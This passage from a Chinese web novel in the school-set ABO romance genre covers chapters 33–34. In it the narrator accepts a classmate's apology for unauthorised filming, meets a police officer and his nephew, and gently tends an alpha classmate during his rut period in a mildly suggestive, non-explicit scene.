不料,双腿因又麻又疼,没站稳,踉跄几步,我几乎要倒下。
他扶住我。
……这下,我和他挨得更近了,能感受到呼出的气息。
我极其不自在地站稳挣开,疯狂想逃离这个尴尬的环境。
“呃,同学,我还要上课先走了。”我随便找了个借口,“放心吧,我发誓一定不会说出去的。”
我跑了,落荒而逃。
之后,担惊受怕了几天,他没找我麻烦,我才放心下来,后来我才知道他请了好几个月长假出国了。
不过,这次,叶曦找我做什么呢?那事都过去这么久了。
我仰头,目光接触到他的眼,像被火灼了一下似的,立马垂下眼睫。
他的眼里藏着与他冷淡气质不符的炽热火焰,眼中似怒似厌的情绪让我摸不着头脑。
找我麻烦的?我最近哪里惹到他了吗?
我头脑风暴中。
“对不起。”
啊?
“我不应该未经过你允许,雇人拍摄你的。更不应该识人不清,间接导致那人把视频到处传播。”他低头,双眸垂落盯着地下。
这、这?
“你接受我的道歉吗?”
33. 第 33 章
浅灰色的眼瞳其实很容易给人一种冷漠淡然的感觉,但他激烈的情绪充斥在眼中几乎快要溢出,像是荡漾着的火焰。
他这时像是一块燃烧着红色火焰的透白冰块。
我不知道是先息事宁人说原谅,还是先问清拍摄原因。
我一时哑然,望着他没出声。
叶曦的脸似乎又苍白一点,那双漂亮的曾被人无数次称赞如艺术品般的眼黯淡了,他垂着长长的眼睫看我,等待着。
这样似乎更配他的瞳色了,像是一个浅灰色的没有星辰的夜晚。
我不小心瞥到,下意识觉得。
“算了。”我开口,手指把那封信装好,没看他,“这件事就这么算了吧,我不生气了。”
说起来这事其实挺小的,不就是拍摄了一个同学演讲的视频吗?不就是在校园里小范围传播吗?视频上既没有故意拍摄隐私部位,也没有贴上恶意的贴纸写上污蔑的文字,只是一个简单的、甚至是正式的演讲视频罢了。
我也并没有在拍摄者传播者身上感受到一丝恶意。
可这并不代表我接受,我愿意。
那次上台对我而言是一个噩梦,几分钟的短暂时间,我就受到几十双眼睛的刺探检视,那是能刺穿我内心的尖利目光。
而留存下的影像,就像是痛苦的余烬。
观看一次就意味着我又一次受到了目光的剥蚀。
我不愿意也不敢说出我的感受、我的心情,我不想说出以后得到异样的眼神,像看一个怪物一样惊异而疑惑。所以我保持沉默,无声抗拒。
在此之前,我已经收到过矫情、小题大做之类的评价了。
对叶曦,我没有说原谅。那件事过去了吗?我自己也不知道。
但我确实不生气了,激烈的情绪在那一天便消失殆尽。
就像朋友说的那样,我一直都是一个情绪稳定的人。
*
情绪稳定的我今天下午依旧在冷静淡定的上学。
仿佛系统突然消失这事对我没有一点影响。
放学后,我又碰见了那个警官,他穿着黑色风衣,站在校门口,身姿挺拔。我猝不及防与他四目相对,犹豫了两秒,看他向我走来,我决定率先开口:“警察叔叔好。”
身在种花家的我,耳濡目染下对警官军人有种敬畏心理。
他脚步一顿,两秒后开口:“我姓萧,萧探尘,今年26岁。”
我点点头,不是很理解他跟我讲这些干嘛,随时准备结束话题离开。我等了三秒还是没等到他开口,立马决定说“警察叔叔如果没什么事我就先走了”之类的话,然后迈步回家。
萧警官却开口了。
他很认真地看着我,目光中带点困惑:“云同学,我今年不过26岁,你其实不用叫我叔叔——”
“小叔!”一个挑
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染着金发的高挑少年冲过来,亲热地搂着他的胳膊,看上去惊讶又惊喜,“小叔,你今天怎么来接我了?”
萧警官只是沉默地盯了那个少年几秒,随即毫不留情挣开他的手。
少年也不生气,他眨眨眼,像是这才看见我,好奇地问:“诶,你也在这呀,你们认识?”
他胸前佩戴的向日葵胸针在落日余晖下闪着金光。
少年人是个自来熟,名叫萧晏昀,隔壁班的他几乎天天串班,每次见他都是一堆人围着,朋友一大堆,脸上常挂着明亮的笑,笑声很轻易地从走廊传到教室里。
几个月下来就算我再封闭再内向,也不得不认识这个校园里的大名人了。
即使我和他一句话都没讲过。
他这时也显露出他社牛的本性来,我没答话,他不恼,他极其自然地说下去,像是社交场合的中间人似的,“云卿,这是我的亲小叔,我父亲的亲弟弟,萧探尘。小叔,这是我同学。”
我一点都不惊讶他知道我的名字,A班就那么几个人,以他把A班当自己班来逛的程度,人早就被他认完了。
萧警官用那种看二傻子的眼神看着他,他似乎不明所以,依旧笑着,笑容毫不黯淡,眨着眼,好奇地问:“你们在这里还有事要聊吗?”
他挑染的金色的头发与金色的向日葵一齐闪着光,刺得我眼睛发酸。
我说没什么事,道别离开。
34. 第 34 章
现在想来,那天我忽视了很多东西。
有的因旁人打岔而忘记问清,有的因嫌麻烦而不去关注。
我不知道缺席的座位是因我而缺席,我没有看懂叶曦那双闪着泪意的眼睛,我甚至不去管05突然被列为嫌疑人的事情。
把一切疑惑、烦恼置之不理、抛之脑后。
我一直在逃避。
那时的因促成的现在的果。
我落得如此境地,最应该怪的就是自己。
*
“拜托你了。”面前妇人双眸含水,黛青色旗袍的领口被她的手弄起了褶皱,“帮帮我们家洛翊吧。”
“阿姨,可,可是我是beta啊……”我声音发虚,内心动摇。
abo世界中,只有omega才能安抚易感期的alpha,这是我了解到的常识。
“beta,这没关系的。他那天跟你在一起,才……”妇人捏着手帕擦擦眼角,顿了顿,“医生说或许当事人在,能帮助他。”
“就试试吧,姑娘。”
那次我情绪崩溃之后,系统确实帮了我,他直接把白洛翊带到我房里,之后又把看望我的同学们放了进去!
然后信息素暴动,一同进医院了。
难怪,难怪班里少了那么多人,难怪连续给我发了几天消息的人到某个时间段就统一消失了。
白洛翊称的上是救了我一命。
他易感期出事,我做不到袖手旁观。
只是安抚而已,没什么的。
我看着某绿色网站上的纯洁无瑕全年龄可看的安抚教程,想起白洛翊母亲对我保证过的安全保护措施,心下定了定,推开房门。
房间里空旷,东西很少,角落里,一个人蜷缩在地毯上。
我试探性地慢慢走过去。
声音放轻、压低:“白洛翊。”
他的身体动了动,更加缩紧了,肌肉用力到颤抖。
他看上去很脆弱,我没有感觉到危险。
“你还好吗?”我蹲下,手指触碰到他的手臂。
慢慢地贴住,滑动,向下,直到摸到他的手指,握住。
在我以同样方式握住另一个手后,我不动了。
我呆坐了两分钟,回忆下一个步骤。
救命,毫无印象。我对图像动作之类的记忆极差。
脑中只有最后一步的影像了,是口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口口……
他的手指动了动,一丝痒意从手心传来。他垂着头,喘着气,很难受的样子。
我想着文字版注意事项几个大字“身体接触,心理安抚”决定按照自己的理解来。
“洛、洛翊。”先用称呼拉进距离,再增进一些肢体接触。
他的双手握着我,我刚有要抽出手的趋势就被他紧紧缠住,力气用的很大,我不由得闷哼一声。
他一下子泄了力,我把手拿出来,远离那股滚烫湿润的热意。
白洛翊抬起头,他的额头冒汗,黑发微微湿润,黑瞳也湿润得像是藏了一汪水,垂下的纤长眼睫掉下一颗透白水珠,易感期的红从眼角、脸颊到嘴唇。
好可怜的样子。
像是被雨水淋湿的边牧小狗。
我揉揉他的头发,轻轻抱住他,手指顺着他的脊背滑动几下,像是揉小狗一样。
他安静温顺得不像话,小狗般的喘息着我,任我捏捏他的爪子他的毛发,弄疼了也忍着。
进来前他母亲特地嘱咐要我小心一点,有任何不受控制的情况就直接按下按钮,他们会冲进来把我带出去。
我捏捏白洛翊的脸颊,他歪头蹭蹭,贴上我的掌心。
情况也许不像他们说的那么糟,口袋里的东西估计是用不上了。
揉了他好一会儿,我决定带他去床上,把他哄睡了就离开。
他很听话的跟着我,我说什么做什么。
直到我让他躺下。
黑白分明的桃花眼瞪圆,易感期热烧得他脑子糊成一团,搞不清状况,僵在那里。
我见他不动,推推他的背,催促道:“上去吧。”
他被烧得脑子好像不会转了,狗似的爬上床,我抿唇憋住笑,状似认真般让他躺好。
易感期的alpha身体烫得让我感觉像是挨着火,空气中冒着火星子,无形的上涌着的热气把空旷的房间都弄得拥挤了。
我站在床
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边,让平躺着的白洛翊闭上眼睛。
他的脸上都是汗,身上冒出的水浸润了衣服,轻微黏在身上,勾勒出漂亮的肌肉线条。
漂亮清纯的alpha,温顺听话的小狗,第一次不听我的指令了。
他坐起,牵住我的手,那双动人潋滟的桃花眸近乎哀求的看着我,里面更多的是我看不懂的情绪。
他向前俯身,半跪着,没有用力地握住我,力气像是要握住流沙般轻小。
“怎么了?”我停顿了一下,“还是很痛苦吗?”
比起医生说他听不进去人话、自我伤害的情况,现在应该好很多了才对。
我皱眉,认真思考了几秒,看着他裸露在外的几道伤口,目光滑倒他被衣服隐藏的肉|体上。
我曾经有一只小狗,捡到他的时候,黑白毛发下是一道有一道划破的口子。
“我帮你看看好不好?”他迷茫仰头,我俯视着他的眼睛。
“好不好?”我又问了一遍,右手揉揉他的头发,手指不觉滑倒他后颈处。
小狗浑身颤了颤,呜咽出声,动了动唇,一边喘,一边低哑地说好。
他跪得笔直,耳朵脸颊红艳艳的,脖颈湿润,双眼紧闭。
我小心地勾起他的衣摆,他小腹上的一道又深又长的伤口,还没结痂,几丝血液从里面流出。
难怪他看上去那么难受的。
“别让衣摆落下,我帮你找东西包扎一下哦。”我像哄刚被捡来的小狗一样哄着他,“乖。”
在柜子里找到医生说过的纱布碘酒等东西后,我一抬眼就看见白洛翊很乖得没让衣摆落下。
衣摆在他嘴里叼着。
我愣了愣,“你,你……”
他呆呆地注视着我,眼睫眨得缓慢,双眸有些迷离。
好奇怪……
我咽咽口水,尽量保持镇定,忽视这种奇怪的感觉。
就当给自家宠物小狗上药包扎一样。
只是或许是我手法错误的原因,他身体直颤,喘息把叼着的衣服浸湿。
疼也不反抗,好乖好听话。
我奖励着摸摸捡来的小狗,撸撸它的毛发。
我盯着白洛翊,一时出了神。